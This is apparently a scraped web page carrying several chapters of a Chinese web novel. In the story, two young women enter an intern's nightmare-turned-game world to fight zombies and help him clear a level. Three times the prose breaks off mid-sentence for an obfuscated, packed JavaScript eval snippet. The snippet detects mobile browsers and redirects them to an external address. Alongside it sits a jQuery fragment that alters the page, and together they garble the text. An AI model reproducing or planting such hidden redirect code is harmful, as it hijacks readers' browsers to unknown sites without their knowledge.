她仔细盯了会儿那张因为使劲而显得扭曲的脸,终于在记忆的角落里搜寻到正主——这不是便利店里那个困成狗的实习生吗? “你们在干嘛?”舒司鸢迟疑的目光来回瞥她们。大半夜的,这两人一个拿着键盘好像要砸谁,一个不知道在跟门斗什么,好难理解。 “你们能不能先来帮忙……”实习生从牙缝中挤出一句话。 莘曼回过神,连忙帮他拉着门把手。舒司鸢虽然没弄懂发生了什么,想跟着去帮忙,发现门把手上落满了四只手,已经没位置了,她只好帮莘曼拿键盘。 莘曼回头和她说:“要是我俩没拉住,里面的东西出来了,你别管,直接砸。” 这合理吗?不是,这合法吗? 舒司鸢在旁边挥键盘练了几下,好在没用上。几分钟后,莘曼和实习生的手骤然一松,两人齐齐松了口气,脱力般坐到地上。 实习生低头喘了两大口气,而后抬头一看,眼睛顿时亮了,“诶,你是不是那个有只黑猫的女生?” 还不等舒司鸢回答,他已经自顾自说下去了:“我后来还去便利店找过你,可是莘曼说你后来再没来过,她也联系不上你。” 没网野人舒司鸢默默叹气,莘曼确实一直在给她发有急事找她的消息,一天能发几条,但就是不说具体是什么事。 奈何当时她在安家宾馆出不去,而且看莘曼隔几个小时就发一条的频率,她就觉得既然莘曼还能发消息,应该也不是什么危及生命的事。 舒司鸢只能扯句谎:“最近去了一个没信号的地方。” 她又看向莘曼:“你找我什么事?” “就是这件事,”莘曼表情无奈,手肘推了推身旁的实习生,“你自己说呗。” 实习生也不客套了,直接开讲:“是这样,从两个月前开始,每天晚上我睡觉时都会进入自己制作的游戏里,通关失败了,里面的BOSS就会穿越到现实世界里,五分钟之后消失。” 他伸手指了一下门,说:“刚才就是没通关成功,怪从游戏里跑出来了。” “要是成功了呢?”舒司鸢接话道。她还记得实习生对她的猫很感兴趣,现在看来估计就是因为他最近遇到的怪事,但听他说的话,也没猫什么事啊。 实习生眉头皱得更紧了:“会进入下一个游戏里。” “那还不如直接失败。”舒司鸢说。是她就在刚进入游戏时就送死,反正出来后只要捱过五分钟就行了,再说看她们刚刚游戏失败的后果,这门也不难堵嘛。 实习生却摇了摇头,“不是的,如果游戏没通关的话,接下来我睡觉时都会继续游戏,直到通关进入第二个游戏为止。但只要通关第二个游戏,接下来一周都不会再进入任何游戏了。” 怪不得他来便利店时那么困,敢情是两个月都在受游戏的摧残。 舒司鸢忽然想到他在便利店里也睡着了,便问道:“你在便利店时没成功吗?” 那时实习生醒来后并没有出现怪物,按理来说他是通关成功了,但那样的话,接下来一周他都不会有事,怎么现在还在这里打怪? “在便利店里我没有进入游戏。”实习生说,“很奇怪,明明我都睡着了。” 实习生感到奇怪,舒司鸢倒是能明白其中缘由。她听完实习生一通遭遇,已经确定他是入“域”了。她还记得黄铃珑给她科普过,“域”之间是会互相吞噬的,大概是实习生碰到的“域”打不过便利店的,所以才不敢出现。 舒司鸢:“第二个游戏和我的猫有关吗?” “一半吧,”实习生回想了下,说道,“第二个游戏就是个粗糙滥制的无脑小游戏,都不需要操作,画风也简陋,只是心理上比较恐怖。” “在那个游戏里,我会变成一个小男孩,每晚我的房间落地窗后都会出现一只黑色红眼的怪物。房间里有吸引怪物到来的物品,我要做的就是把它们找出来丢进房间中央的木箱里,减少怪物被吸引的概率。” “我还可以求助小男孩的母亲,但她不一定会来。因为如果怪物进来了,她也会被吃掉。她要是来了,会带着一本故事书,念故事的时候也会减低概率。” “然后就是猫。”实习生顿了顿,直直看向舒司鸢,“黑猫如果出现在房间里,怪物一定不会出现。” 舒司鸢明白了,所以他是想管自己借猫进到游戏里,这样之后的一周他就安生了。 “不行。”舒司鸢干脆地拒绝。要是实习生每晚只用进入第二个游戏的话,她就借了。但现在要进入第二个游戏的前提是通过前一场游戏,实习生自己都通关不了,再带只猫进去,那不纯纯排队送吗。 就算游戏里死了也不是真死,那怪物还会出来呢,这要是一个没跑掉,她就得黑发人送黑毛猫了。 “你不放心的话,也可以一起进去啊。”实习生说。 哇,好大的脸。 舒司鸢扭头就走。 她才走出两步,就听实习生慢悠悠开口了。 “这家酒店是我妈开的。” 舒司鸢停下脚步。 实习生接着说:“猫能借我用多久,你就能免费在这里住多久。当然,你要是能找到解决整件事情的方法,我可以再多让你免费住两个月。” “我怎么会不帮你呢,”舒司鸢转身露出笑容,“我就是帮你去把猫抱过来的。” 舒司鸢在门口叫芝麻出来,她美滋滋地看着小猫从沙发里跳下来,一步一步朝门口走来。 果然啊,爱猫者风生水起! “进屋谈吧,别吵到别人了。”舒司鸢和颜悦色地说,她的素质随生活条件的提高而提高。 实习生说:“没事的,我家是电竞酒店,装了很厚的隔音棉。” 舒司鸢根本不信,否则她怎么会被她们吵到? 最终条件谈到三个月加包人饭猫饭,而且从游戏彻底结束之日算起,期间舒司鸢也会进入游戏帮助实习生卫真通关,这段时间她的食宿也由卫真提供。 “今天就开始?”舒司鸢愣了下,她还以为能有一天缓冲期。 “拜托,现在才凌晨三点,我还要睡呢,”卫真说,“你以为我是不用上班的闲人吗?” “好吧,记得找你妈把今天的房费还我。”舒司鸢坐在沙发上说,看着卫真在床上睡下了。 “我们怎么进去?”舒司鸢转头小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401555|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声问莘曼。 “和他待在同一个房间里就行了。”莘曼说。 舒司鸢还想和莘曼说点什么,但她怕影响到卫真睡觉。还是让他早点睡着,她们好早点进去把今天的游戏。 不然眼下的场景实在太诡异了。舒司鸢没想到有一天自己要耐心等待一位异性睡着,她只是暂时没钱落魄了,又不是转行去当女流氓了。 好在卫真被游戏折磨得疲惫不堪,舒司鸢没等太久,就见卫真那边升起淡淡的白光,接着人便不见了。 莘曼见状,赶紧拉着舒司鸢走进白光中。 一股强大的牵引力自下方传来,她们刚靠近白光就被吸了进去。 舒司鸢感觉自己被丢进了洗衣机,高速旋转一番后又被丢了出来。 再一睁眼,入目是两只由方块构成的手,视线最下方是一排图标。舒司鸢先环视了一圈四周,山和树都是像素风的。 天空湛蓝澄净,缓缓移动的白云之下,是一只正在低头吃草的白色小羊。风轻柔地吹过来,吹得蓬松的羊毛一抖一抖的。 整体氛围悠闲,像是个种田游戏。 风也吹到了舒司鸢的身上,凉凉的,挺舒服。舒司鸢好奇地问:“这是什么游戏?” 卫真:“末日丧尸,基建求生。” 舒司鸢:“……啊?” 她茫然地和小羊的豆豆眼对上,那羊吃草的嘴一停,撒腿就要跑。卫真已经在地上捡到了一根木棍,上前一棍子揍翻了那只羊。小羊变成了一块肉排,被卫真收进了背包。 地上刷新出新的木棍还要一段时间,莘曼便带着舒司鸢边跑着找武器边介绍游戏背景:“我们在一个叫水湖国的国家里。夜晚会出现丧尸,通关条件是找到被丧尸王关押的公主,公主有可以彻底消灭丧尸的净化之力。但我们现在等级太低,打不过一百级满级的丧尸王。” “不过卫真说也可以杀掉除了丧尸王之外的所有丧尸,那样丧尸王为了看管公主就不能出来感染人了,也算通关。他当时制作这个游戏时设计了两个通关条件。不救公主的方法更简单,照着地图上的绿标找到丧尸干掉就行了。” “所以目前白天要搜集食物、武器、火把和木头。火把在晚上用来照明,木头用来建造房屋。晚上就去打丧尸升级。” “你看到最左边在慢慢变黑的白色钟表图案了吗?那个是时间,变色就代表时间流逝,这里时间流速很快。还有鸡腿的图标,是你的饱腹值,彻底褪色就饿死了。后面是背包,组队模式下队友共用。其他不太重要,遇到了再和你说。” 莘曼语速极快,捡起地上的一把斧头,斧头在被她触碰到的瞬间就收进了背包里。 “忘了还有这个,”莘曼望着向她们跑来的卫真,“他是队长,我们拿到的武器的等级必须低于他的。” 舒司鸢觉得卫真有些无理取闹了,如此不团结,她们什么时候才能通关? “公主就要待在宫殿里,我选简单点的通关方法,”舒司鸢和莘曼说道,她又转过去问卫真,“我的猫呢?” “它是公主,”卫真说,“水湖之旅是多人游戏。之前只有我和莘曼,所以公主还是我设定的数据。现在满足两人以上的条件了,就会有玩家分配到公主的角色,因为那边也是可以推动游戏进展的。” “公主怎么能一直被关在宫殿里?人家还要继承王位呢。”舒司鸢改口道,“我看还是提升等级才是正道。” 22. 适量游戏,健康人生3 “公主可以破坏丧尸王在宫殿里设下的陷阱,也可以削弱丧尸王的等级,其他丧尸会同步受到影响。”卫真用斧头砍了三下树干,树木倒地之后变成五块木头,他捡起来收进背包,“最重要的是,公主可以拖慢丧尸的进化,不然后期可能出现和正常人类没什么两样甚至还要强壮的种类。” “最右边有个邮箱图标,公主可以将从丧尸王那边探听到的消息传给我们。” 公主的作用就相当于丧尸群体的debuff,不管玩得多烂都能造成牵制效果。 前提是玩家是个人。 舒司鸢对于芝麻没有要求,还得祈祷它千万不要在陌生环境里应激。 三人齐齐长叹一声,打羊的去打羊,砍树的去砍树,剩下一个还在到处乱转找武器。 天黑之前,她们勉强找够了木块,可以合成一座简易木屋。但卫真说她们目前处在平原地图,小木屋的防御性太低,不如在晚上也继续找物资,往小镇的方向移动,到时候打劫镇民的房子就行。 舒司鸢提问:“所以木块的作用是?” 莘曼锐评:“好三观不正的游戏。” 卫真自动忽略莘曼的话,回答舒司鸢的问题,“丧尸对房屋发起攻击后,会造成房屋耐用性下降,木块可以加固房屋。除此之外,获得的武器在频繁使用之后也会损坏,需要用木块来修补。” 除了一开始就找到的斧头和木棍之外,她们后来又找到了一把剑。剑的等级最高,所以被卫真拿着,舒司鸢继承了他的斧头。斧头经过一个白天的使用,已经不能用了,她用二十个木块修补了一下。修补不需要她真的动手,从背包里把木块拖出来点击使用就可以了。 食物并不充足,三人的饱腹值都堪堪维持在及格水平,数值还在一直往下掉。背包里留了点库存,不多,谁快饿死了谁先吃。 火把只找到两个,但一晚上的时间至少需要三个火把。而且火把一经点燃,就只会燃烧到使用完毕,不能人为熄灭了再二次使用。 “一起行动吧。”卫真在夜色彻底变黑的那一刻点燃了火把,让莘曼拿着,顺便看地图,他和舒司鸢负责清理丧尸。 舒司鸢紧紧挨着莘曼。难怪卫真说要一起行动,水湖国的夜晚是真黑,没有火光照到的地方完全无法视物。照明的范围也很有限,差不多是以火把为中心、半径两米的圆。 这意味着丧尸一旦出现,就只和她们隔了两米。 一入夜,风便销声匿迹了,游戏背景音关掉后是彻底的死寂。舒司鸢握紧手里的斧头,警惕地留意着四周的动静,身体一直处于火把照明的范围。 突然,前方出现半边人影,一张绿色的脸显现在光明中的刹那,舒司鸢举起斧子就是一劈,锋利的刀刃砍在丧尸脑瓜正中央,但不能往下了,没劈进去。 丧尸的动作却丝毫未停,尖爪冲她抓来。 舒司鸢往一侧闪去,爪子擦着她的脸颊而过。她身后就是莘曼,莘曼早有准备,照着丧尸的头补了一棍。那丧尸不躲不避,仍旧直直走来。 卫真一剑扇在新赶来的另一个丧尸身上,大喊:“别光照着脑袋打啊!这是游戏,打够一定次数才行!” 舒司鸢反应过来,斧尖对准丧尸。丧尸片看的太多,“破坏丧尸大脑才能使其死亡”已经变成知识点深深烙印在她心里了。 舒司鸢跳到丧尸身侧,边砍边数。丧尸转过身来了她也跟着换边。莘曼见她应付得过来,就去帮卫真了。 只不过她俩越打越远,舒司鸢扛着斧头去追她们,准确来说是去追火把。丧尸被她砍了几下后也认定了她,跟着她一通跑。 丧尸移动速度只比玩家慢一点,始终牢牢跟住她待在光圈里。舒司鸢跑几步回头砍一下。数到第八下时,绿脸丧尸嗖得不见,化为一个蓝色的小球。与此同时,莘曼和卫真也搞定了另一只,停在了原地。 “是经验球,点击使用之后,整个小队一同升级。”卫真捡起球说。 经验小球使用后,她们升到了二级。生命值增加了十点。 “只加生命值吗?”舒司鸢在看自己的人物面板。上面只有名字、等级和生命值。 “对啊,血厚的话就算是慢慢磨,也能把最终BOSS磨没嘛,”卫真心虚地摸了摸鼻子,“不过之后出现进化丧尸会掉落技能球,但一人只能装备一种。” 舒司鸢都麻了,所以这个游戏的核心玩法就是比谁更耐打吗?那些打不死她的没她活得久? 舒司鸢想要吐槽但无从下口,但卫真给她开了三个月免费食宿的条件,她拎着斧头又觉得自己可以了。 之后陆续又出现了几只绿脸丧尸,舒司鸢有了经验,知道这种初级丧尸用斧头需要砍八下,木棍需要十下,用剑则只需要五下。 但丧尸似乎是在不满白天不能出现,夜晚扎堆似地涌来。武器的耐用值不停下降,舒司鸢砍丧尸的间隙还得抽空砍个树,为队伍攒点修复用的木块,毕竟只有她的斧头才能砍树。 莘曼也没闲着,时不时补刀,遇到羊就去把它打成肉排。反正丧尸会追着她们移动,自然要优先选择食物。 幸运的是,羊身边掉落了火把。靠着这第三支,她们总算撑过了第一晚。因为卫真没有给丧尸加呼吸声和脚步声之类的音效,玩家小人也没有味觉和触觉。如果没有光亮,丧尸凑在鼻子跟前,她们是感受不到的,掉血了才知道是遭到了丧尸的攻击。 日光取代了渐渐熄灭的火把,她们立刻分散开,各自搜集物资,朝小镇前进。 地图上标有表示队友的红点,要集合不难。舒司鸢专心砍树,饱腹值下降了她就吃一块莘曼和卫真收集来的肉排。 舒司鸢顺着道路一排排收木块,在第二晚到来前踏入小镇。 “今晚会有进化后的丧尸出现,会喷火或者冰冻,小心些。”卫真说着,敲开了一户人家的门。这家人的房屋是砖头砌成的,她们一致认为是这条街上最坚固的屋子。 来开门的是位戴眼镜的像素小人,一串文字框在他头顶浮现,但没人理他。门外的陌生人宛若土匪进村,嫌他堵在门口,把他推到一边进了他家。 按卫真的话来说,整个游戏都是他设计的。每幢房屋从建造到家具布局,都是他自己做的。他建的他装修的,那不就是他的屋子? 卫真让她们别客气,就像在自己家一样。 戴眼镜的像素小人是独居,一个人打不过拿着武器的三个人。何况夜晚降临,他不敢再开门,就去把窗帘拉下来了。 眼镜小人拉好窗帘转身。三个土匪没有劫财的意思,也没有上楼去他的房间,好像就是来躲丧尸的普通路人。他松了一口气,普通路人都挺友好的,不仅会一起抵御丧尸,还会出木块帮他修补房屋。 就是要小心别被她们丢出去当盾牌。 眼镜小人跑到离门远一点的地方,手里攥着一根棒球棒。 舒司鸢看了他一眼,确认对方不会在背后偷袭她们后,也不再多关注了。她重新把注意力集中在那扇木门上,门发出震颤,是丧尸在攻击。 她们进入眼镜小人的屋子后,房屋破损情况也同步过来。门外丧尸不多,房屋受到的损坏不大,还没有到要用木块修补的程度。 舒司鸢撩开一小片窗帘,房间里烛火的灯光却没有照到外面。窗外漆黑,她看不见有几只丧尸在围攻。 倒是可以根据房屋耐用度的下降速度倒推一下。 “要不要放一只进来?”舒司鸢在昏暗的烛光里问道。 虽然是提问,但她手上已是稳稳举起斧头。 门是势必要开的,不像镇民只需躲在屋子里,她们的目标是通关,而无论哪种通关方法,打败丧尸都是最基本的,而且打完也能增加生命值和获得技能。 “开完就关上,不用停顿。”舒司鸢把眼镜小人关到卫生间里。 莘曼点了点头,走到门后。舒司鸢和卫真一左一右站着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413706|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 门开的瞬间,一颗红色的脑袋伸了进来。然而莘曼动作太快,红脸丧尸半个身子刚进入屋内,她就谨遵舒司鸢的嘱咐,一下关上了。 门像巴掌一样扇在丧尸身上,但没能完全关上,缝隙里卡着丧尸的头。 计划出了点变故,但眼下的局面对她们更加有利。丧尸被门卡着无法行动,舒司鸢离远一点砍就好了,还省得她躲来躲去了。 红脸丧尸明显是变异种类,血量更多是一回事,随着卫真一句“小心”,舒司鸢矮身躲过迎面而来的火焰,手上的攻击不受影响,对着丧尸的腿来了一下。 丧尸吐完火焰,技能进入冷却期。舒司鸢和卫真抓紧时机,同时劈砍,在它蓄力完毕下一次火球攻击前结果了它。丧尸就变成了两颗小球,一蓝一红。 没给她们留出捡球的时间,下一只丧尸很快顶了上来。 莘曼倒是有空,舒司鸢和卫真把门前的空间都占了。她就边堵门边用木棍把小球扫过来。 她用了经验球,把技能球捏在手里,“豌豆射手火球版,你们谁要?” “给我。”舒司鸢毫不犹豫地说。她喜欢输出高、攻击力强的技能,难得能真身打怪,尽管是在游戏里,也能稍稍发泄一些这些年被里世界怪物追杀的怒气了。 卫真不置可否,“之后打到治疗技能给我吧,我治疗玩得比较好。” 舒司鸢装备上火球技能,一行说明立即弹在她脑中。 【火焰勇者:拯救公主的骑士队伍中,你是最勇敢的人,以强大的火之魔法守护水湖国。水湖之神庇佑你,并将圣火赠予你。火球大小以你的生命值为上限,最小为你等级一时的十点生命值,火球面积为十厘米大小,后续每增长十点生命值,火球面积增大一厘米。火球大小与伤害值无关,击中敌人后可扣除二十点生命值,冷却时间一分钟。】 舒司鸢又感到如鲠在喉。既然大小与伤害值无关的话,干脆就不要变大,一直维持在那种放大镜都看不到的大小,敌人看不见就躲不开,说不定命中率能有百分百。 接下来一连出现的都是普通的绿脸丧尸。或许是才第二晚,变异丧尸的数量不多。技能跟大街上掉的钱一样,不是轻易就能捡到的。 莘曼给自己找了个空位,专攻丧尸的下盘。但她还要分神时刻注意房屋的破损情况,补刀的次数少,却聊胜于无。 第二只变异丧尸在白天来临前一刻出现。舒司鸢望着那颗熟悉的红色脑袋,抬手放了颗火球过去。 有技能加持,这次她们打得很快。相同技能是可以重复装备的,莘曼便装上了新一颗火焰勇者。 第二晚她们收获颇丰,不仅整体生命值上涨一大截,还有了两个攻击技能。 顺手把眼镜小人的房屋修补一半,把人从卫生间里放出来。她们便离开小人的家,快速穿过小镇,来到山脚下。 镇子上也有食物和武器卖,打工赚了钱就能买。但她们不是真的来玩游戏的。 卫真设计的游戏地图还真是丰富,昨天还在草原打羊,今天就爬山打鸟了。 卫真:“山后也是一个小镇。然后再穿过雨林和第三个小镇,就能到宫殿了。” “好远。”舒司鸢说。这游戏可玩性还行,但要是穿进来她就不乐意了。 “进度挺不错了,”莘曼放火球打鸟,鸟变成肉排掉下来,“之前你不在,我和卫真玩了三天都没走到第一个小镇。” 舒司鸢把斧头给卫真,他收集不了食物,转而收集木头。现在是白天,手上没武器也没事。 第三个夜晚降临,卫真把斧头还给她。舒司鸢指着面板问他生命值怎么开始下降了。 丧尸还没出现,只有火把温暖的光圈住她们。 卫真沉默一瞬,说道:“我设定山里在夜晚中的温度下降,会对玩家造成减益效果……” 舒司鸢:“……” 原来卫真才是她们通关道路上最大的绊脚石。 23. 适量游戏 健康人生4 山里的物资不多,火把半天捡不到一个,只有食物管够。舒司鸢和莘曼先用火球把空中飞行的小鸟击落,再用武器补刀,到手不少肉排,游戏人物的饱腹值一直维持在健康水准。 舒司鸢拾取地上的火把,收进背包里。她走在悬崖边上,鸟还要过段时间才会刷新出来,她便低头向下望去。 山脚处有白烟流动,挡住了视线。小路很窄,仅容一人通过。小石子明明没被踢到,却不时自动滚落,掉下山崖后半天也听不见坠落的声响。舒司鸢猜测应该是卫真做的游戏效果。 “多久才能到山顶?”舒司鸢手持斧头在前面开道。她走得很小心,尽量把身子贴向山壁一边。 “再往前走点会出现一条进山的小路,到山顶的话最快也要明天白天了。”卫真闷闷的声音从后方传来。 “先进山。”舒司鸢当即拍板。在陡峭的悬崖上干架,等着和丧尸一起下饺子似的坠崖吗? 就算她有信心保证自己不掉下去,可她没办法同时护住莘曼和卫真。 倒不是她人善良,而是她认为水湖之旅变成“域”后,进行了一定程度上的改变。平原,丘陵与雨林,以及穿过它们后达到的小镇,其实可以看成三个区域。 舒司鸢在第一个区域里得到了火焰勇者的技能,剩下两个区域内一定还有另外两个技能。可一个玩家只能装备一个技能,要去宫殿里攻打丧尸王,还得是魔法攻击靠谱,自然是多多益善。 关于技能和地图的数量她先前在平原小镇上问过卫真,但他说自己记不清了。或许就是“域”影响了他的记忆,而且根据玩家的数量调整了技能和地图的数量。 不然要是遇到什么解谜推理类的游戏,卫真作为游戏设计者,哪怕忘了较为细节的线索,还能不知道真相吗?但“域”不可能让她们分分钟通关,所以一定会在设计者的记忆和游戏玩法两方面做出更改。 想到这里,舒司鸢就提醒自己不能全信卫真的话。因为“域”既然能对记忆做手脚,就也有可能在卫真记忆里植入了错误的通关方法。 眼前出现两条岔路,一条延向山顶,一条则是卫真口中那条进山的路。 舒司鸢脚步不停,没有犹豫,拐进了第二条路。 高空坠落的隐藏危险暂时远去,她始终提着的一颗心才安稳落回肚子里。 山里的地上铺满枯枝败叶,高大的树木遮挡住天空,枝桠上站着不少鸟,树下长着各种各样的蘑菇。 蘑菇是可以拾取并食用的,但三个蘑菇才能抵一块肉排补充的饱腹值。而且卫真把生活融入游戏,里边是有毒蘑菇的。 反正鸟足够多,她们用不着采蘑菇吃。 “等一下,”卫真拉住要用火球打鸟的舒司鸢,“用技能的时候注意些。” 舒司鸢疑惑地转过身来。 “放火烧山,牢底坐穿。”卫真还拉住了一旁正要动手的莘曼,“你们要是不小心烧到了树,到时候火烧起来,会有护卫兵来抓捕的。” 舒司鸢问:“火把会烧到树吗?” 莘曼也问:“不能跑吗?” “火把有概率触发山火。可以拒捕,但这样会上通缉名单,”卫真一一回答她们的问题,“被通缉后全体镇民都会协助护卫兵来抓我们。” “能跑就行。”舒司鸢说,抬手对准一棵树上的一排鸟施法。 没肉排吃会饿死,但被护卫兵抓到不会死,何况又不一定真能抓到她们。 不过秉着能少一点麻烦是一点的行事准则,舒司鸢还是看准了打的,火球精准砸在鸟身,半点火星子也没溅到树上。 鸟被击落,在半空中被舒司鸢用木棍敲一下,落到地上后又被她敲了几棍。整套动作行云流水,一分钟就能收获一块肉排。 又一下没控制好力道,鸟被她击飞到一块稍远的空地上。舒司鸢跑过去找,却见小鸟身下的落叶丛中露出一点黑色。 那抹黑色隐藏在灰灰扑扑的落叶中,不是她眼睛尖,是她一靠近那堆落叶,地上浮现出“拾取”两个文字。 舒司鸢扒拉开落叶,把东西捡起来。 那是一把通体漆黑的弓,握在手里沉甸甸的,很有分量。但没有可以搭配使用的箭,这玩意儿也就只能当成细木棍砸丧尸。 舒司鸢转手给了莘曼,这样用斧头砍树的卫真就不用帮她打鸟了,她可以自己补刀。 钟表图标完全变成黑色的刹那,明亮的天色毫无征兆地一同被泼上墨,一秒入夜。 舒司鸢立即对着捡来的一根树枝发动技能,树枝成功被点燃,但燃起的火光却并无照明作用。她失望地踩灭那簇小火,走进莘曼的火把照明范围。 山林环境开阔,虽然没有前一天晚上在房屋里那么有安全感,但比较好逃跑,道路四通八达的。 “能爬到树上吗?”舒司鸢看着四周林立的树木,忽然说道。 然而不必卫真开口,从天而降的丧尸替他作出回答。 丧尸从树上一跃而下,在莘曼的惊呼声里将她们冲散开。 舒司鸢和卫真出了光圈,再看不到任何事物,视野里唯有火把照亮的那一块圆圈,圆圈里是举着火把的莘曼和跳下来的蓝脸丧尸。 莘曼下意识扬起木棍抽了蓝脸丧尸一下,然后才看清它脸上的颜色,便开始绕到它身后打它后背。 她清楚这是另一种变异丧尸,会给她们带来新的技能。因此她要确保这只丧尸一直处于光圈之内,就算她自己搞不定,也要让舒司鸢和卫真看到它。 莘曼不是杀丧尸的主力,她在晚上的任务都是看地图举火把之类的,偶尔辅助队友干掉残血丧尸。但不是意味着她害怕丧尸不敢打,而是因为她的武器是木棍,需要十下才能杀死一只普通丧尸,大家出于性价比考虑才让她举火把的。 剑在武器中的等级最高,只有卫真才能使用,他当然要去杀丧尸。至于舒司鸢,她看起来和丧尸像有血海深仇,尽管武器只需触碰到丧尸就能算作一次有效攻击,她挥斧头的每一次劈砍还是用力剁下去,莘曼不敢和她抢。 “它的能力是冰冻!”卫真大喊。丧尸跳下来后就一直背对着他,是莘曼和丧尸莫名其妙开始转起圈来,他才看到丧尸脸上的颜色。 转圈的莘曼听不到他的吐槽。她绕着丧尸跑,是觉得丧尸后脑勺又没长出眼睛,难道还能对着身后的人释放技能? 然后她就被冻在了原地,双脚与地面被冰块凝固在一起。头顶上方出现一个倒计时,显示十秒后她才能挣脱,而且十秒内她持续掉血。 这蓝脸丧尸怎么跟红的不一样啊?她还以为也是用嘴呢! 手还能动,莘曼也不拿火球去烧脚上的冰,而是对着转过身来的丧尸砸了过去,拖慢了它的行动,继而疯狂挥舞木棍揍它。 舒司鸢冲着光圈冲去,不仅是要帮莘曼打新变异的丧尸,而且她待在全黑的环境里会更加危险。 血量从入夜开始就因为寒冷而往下掉,她出了光圈就掉得更快了,是她旁边有丧尸在攻击她的缘故。舒司鸢没管,看见蓝脸丧尸已经用爪子和莘曼互殴起来,放了颗火球烧它的脑袋。 她离光圈不远,用完技能就进入了照明范围,直接一斧子砍在丧尸身上。丧尸的血量被莘曼削的差不多,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426750|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶在丧尸的技能冷却器结束前,和莘曼合力干掉了它。 冰冻效果没有随着丧尸的消失而消失,莘曼还在被固定,舒司鸢捡起蓝色球。 “啊啊啊我想要这个!”莘曼激动地说,“我特别喜欢艾莎女王。” 舒司鸢把蓝色小球丢给她,她对非高输出的技能不感兴趣,忙忙碌碌地去解救卫真了。 莘曼卸下火焰勇者给卫真,接着装备上新技能,一串文字说明跳进她脑中。 【冰封坨坨:拯救公主的骑士队伍中,你是最爱吃冰淇淋的人,梦想是创造美味的冰淇淋王国。水湖之神觉得你有趣又可爱,将制造冰雪的能力赠予你。以你自身为中心的一块区域内,你可感知并冰封此区域内的所有可移动的生命体的某个身体部位。区域范围最小不低于你等级为一时的一立方米空间,后续等级每增长一级,空间增大一立方米。获得的空间由你自由堆叠。感知效果始终生效,冰封效果生效时间固定为十秒,冷却时间三十秒。】 莘曼恍然大悟,难怪蓝脸丧尸用不着看到她,就能对着她释放技能。 技能启用的瞬间,莘曼立即感到身处的环境变成了可以拆合的大方块。她点亮了眼前的一长排空间方块,那些方块的表面浮现圆滚滚的雪球图案。 与此同时,她也感到被她点亮的区域内,有好几个生命体。 但是…… 这技能的感知效果根本敌我不分啊! 莘曼只能“看到”好几个打成一团的生命体,可她分不清哪两个是她队友。 她抓着火把跑过去,火光照亮舒司鸢、卫真和一众丧尸。莘曼发现舒司鸢才是敌我不分的那个。 在黑暗里虽然看不见丧尸,但丧尸被砍中后会短暂出现可视的血条,她凭借血条的位置大砍特砍。而且仗着攻击对队友无效,斧头更是劈得无所顾忌虎虎生风。 卫真趴在地上不敢动,即使没有痛觉也不会掉血,但他被斧头抡到后依旧会被击倒,要么飞出去要么摔倒。 而且他是真的不能动——和她们缠斗的丧尸里还有一只蓝脸的,他被冻住了。 卫真索性复制昨晚莘曼堵门时的行为,只虚弱地用剑戳丧尸的小腿。 赶到战场的莘曼心念一动,用技能把舒司鸢背后一只丧尸冻住后加入战斗。 莘曼技能冷却时间快,她一秒也不浪费,木棍豪放地一指,指哪哪就有丧尸被冻住,硬生生把木棍挥出了魔杖的架势,舒司鸢感觉她下一秒就要唱起来了。 她们优先集火蓝脸丧尸,这种变异丧尸掉落的经验值更多。升级不仅能提高生命值上限,还能提升技能的实力。 肉排能够少量加血,库存也十分充足。她们却使用得不多,只在血量见底时,食用肉排拉满一半生命值。 在雨林里会出现治疗技能,照样能回血。肉排还是存着,到宫殿里再用,毕竟进了宫殿,物资就比较难获取了。 舒司鸢落下最后一击,把丧尸的脑袋锤进泥土里。天光在她身后亮起,时间进入白日。 为了满足游戏的趣味性,水湖之旅里的白天黑夜轮替速度很快。但和丧尸战斗时,精神处于高强度状态。因此尽管时间短,不管是精神还是身体都泛起一股疲惫感。 躺了一晚上的卫真状态最好——他倒也想站起来,只不过后来莘曼加入了混战,光圈就这么大点地方,她们和丧尸一点空也没给他留。 卫真在忙着翻看人物面板,面色立时凝重许多。 “昨晚使用的三把火把里有一个触发了山火,”他示意舒司鸢和莘曼也查看一下自己的人物面板,“我们被通缉了。” 24. 适量游戏,健康人生5 舒司鸢也点开自己的人物面板,只见她的名字后面果然出现了一个括号,显示通缉中。 昨夜战况混乱,其实也有可能是她的火球没丢准,不一定是火把的锅。但舒司鸢觉得,卫真既然设计了护卫兵的角色,就算她们不用火焰勇者和火把,完全杜绝引发山火的可能,“域”也会给她们上难度,随便找个理由把她们通缉了。 通缉名单是必上的,但这大牢要不要蹲,就看她们自己能不能逃脱追捕了。 火焰勇者舒司鸢拒绝走纯狱风,她拿的是拯救公主的剧本。她把斧头往肩上一扛,有什么事都等出了山再说。 